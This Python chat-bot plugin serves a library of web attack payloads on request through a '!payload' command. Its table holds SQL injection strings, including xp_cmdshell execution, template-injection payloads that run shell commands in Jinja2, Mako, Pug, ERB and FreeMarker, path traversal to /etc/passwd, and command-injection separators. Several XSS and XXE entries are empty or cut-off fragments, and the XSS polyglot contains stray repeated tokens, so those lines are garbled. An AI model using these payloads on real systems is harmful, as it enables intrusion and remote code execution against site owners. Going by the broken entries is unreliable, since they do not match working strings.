"""Plugin: payload template library for common web vulnerabilities.""" from __future__ import annotations from derp.plugin import command # -- Payload database --------------------------------------------------------- # Each category: list of (label, payload_string) _PAYLOADS: dict[str, list[tuple[str, str]]] = { "sqli": [ ("auth bypass", "' OR 1=1--"), ("auth bypass 2", "' OR '1'='1"), ("union select", "' UNION SELECT NULL,NULL,NULL--"), ("union cols", "' ORDER BY 1--"), ("error-based", "' AND 1=CONVERT(int,(SELECT @@version))--"), ("time blind", "' AND SLEEP(5)--"), ("bool blind", "' AND 1=1--"), ("stacked", "'; EXEC xp_cmdshell('whoami')--"), ("comment", "' OR 1=1#"), ("double query", "' UNION SELECT 1,2,GROUP_CONCAT(table_name) " "FROM information_schema.tables--"), ], "xss": [ ("basic", ''), ("img onerror", ''), ("svg onload", ''), ("event", '" onmouseover="alert(1)'), ("javascript:", 'javascript:alert(1)'), ("body onload", ''), ("input autofocus", ''), ("details", '
'), ("encoded", '<script>alert(1)</script>'), ("polyglot", "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/**/oNcliCk=alert()" " )//%%0telerik0telerik11telerik22//>*/alert(1)//"), ], "ssti": [ ("detect", "{{7*7}}"), ("jinja2", "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"), ("jinja2 rce", "{% for x in ().__class__.__base__.__subclasses__() %}" "{% if 'warning' in x.__name__ %}" "{{x()._module.__builtins__['__import__']('os').popen('id').read()}}" "{% endif %}{% endfor %}"), ("twig", "{{_self.env.registerUndefinedFilterCallback('exec')}}" "{{_self.env.getFilter('id')}}"), ("mako", "${__import__('os').popen('id').read()}"), ("freemarker", '<#assign ex="freemarker.template.utility.Execute"?new()>' '${ex("id")}'), ("erb", "<%= system('id') %>"), ("pug", "#{root.process.mainModule.require('child_process')" ".execSync('id').toString()}"), ], "lfi": [ ("etc/passwd", "../../../../etc/passwd"), ("null byte", "../../../../etc/passwd%00"), ("double encode", "%252e%252e%252f%252e%252e%252fetc/passwd"), ("utf-8 encode", "..%c0%af..%c0%afetc/passwd"), ("wrapper b64", "php://filter/convert.base64-encode/resource=index.php"), ("wrapper input", "php://input"), ("proc self", "/proc/self/environ"), ("windows", "..\\..\\..\\..\\windows\\win.ini"), ("log poison", "/var/log/apache2/access.log"), ], "cmdi": [ ("pipe", "| id"), ("semicolon", "; id"), ("backtick", "`id`"), ("dollar", "$(id)"), ("newline", "%0aid"), ("and", "& id"), ("double and", "&& id"), ("or", "|| id"), ("redirect", "> /tmp/pwned"), ("blind sleep", "| sleep 5"), ], "xxe": [ ("file read", ']>' '&xxe;'), ("ssrf", ']>' '&xxe;'), ("blind oob", '' '%xxe;]>test'), ("parameter", '' '\">" '%eval;%exfil;]>test'), ("xinclude", '' ''), ], } _CATEGORIES = sorted(_PAYLOADS.keys()) _MAX_SHOW = 5 @command("payload", help="Payloads: !payload [variant|list|all]") async def cmd_payload(bot, message): """Web vulnerability payload template library. Usage: !payload list List available categories !payload sqli Show first 5 SQLi payloads !payload sqli all Show all SQLi payloads !payload xss 3 Show payload #3 from XSS !payload ssti jinja Search SSTI payloads for 'jinja' """ parts = message.text.split(None, 3) if len(parts) < 2: await bot.reply(message, f"Usage: !payload <{'|'.join(_CATEGORIES)}|list> [variant]") return sub = parts[1].lower() if sub == "list": items = [] for cat in _CATEGORIES: items.append(f"{cat} ({len(_PAYLOADS[cat])})") await bot.reply(message, f"Categories: {', '.join(items)}") return if sub not in _PAYLOADS: await bot.reply(message, f"Unknown category: {sub} " f"(valid: {', '.join(_CATEGORIES)})") return payloads = _PAYLOADS[sub] arg = parts[2].strip() if len(parts) > 2 else "" # Show all if arg.lower() == "all": for i, (label, payload) in enumerate(payloads, 1): await bot.reply(message, f" {i}. [{label}] {payload}") return # Numeric index if arg.isdigit(): idx = int(arg) if 1 <= idx <= len(payloads): label, payload = payloads[idx - 1] await bot.reply(message, f"[{label}] {payload}") else: await bot.reply(message, f"Index out of range (1-{len(payloads)})") return # Keyword search within category if arg: matches = [(lbl, pl) for lbl, pl in payloads if arg.lower() in lbl.lower() or arg.lower() in pl.lower()] if not matches: await bot.reply(message, f"No {sub} payloads matching '{arg}'") return for label, payload in matches[:_MAX_SHOW]: await bot.reply(message, f" [{label}] {payload}") if len(matches) > _MAX_SHOW: await bot.reply(message, f" ({len(matches)} total)") return # Default: show first N for i, (label, payload) in enumerate(payloads[:_MAX_SHOW], 1): await bot.reply(message, f" {i}. [{label}] {payload}") if len(payloads) > _MAX_SHOW: await bot.reply(message, f" ({len(payloads)} total, " f"use !payload {sub} all)")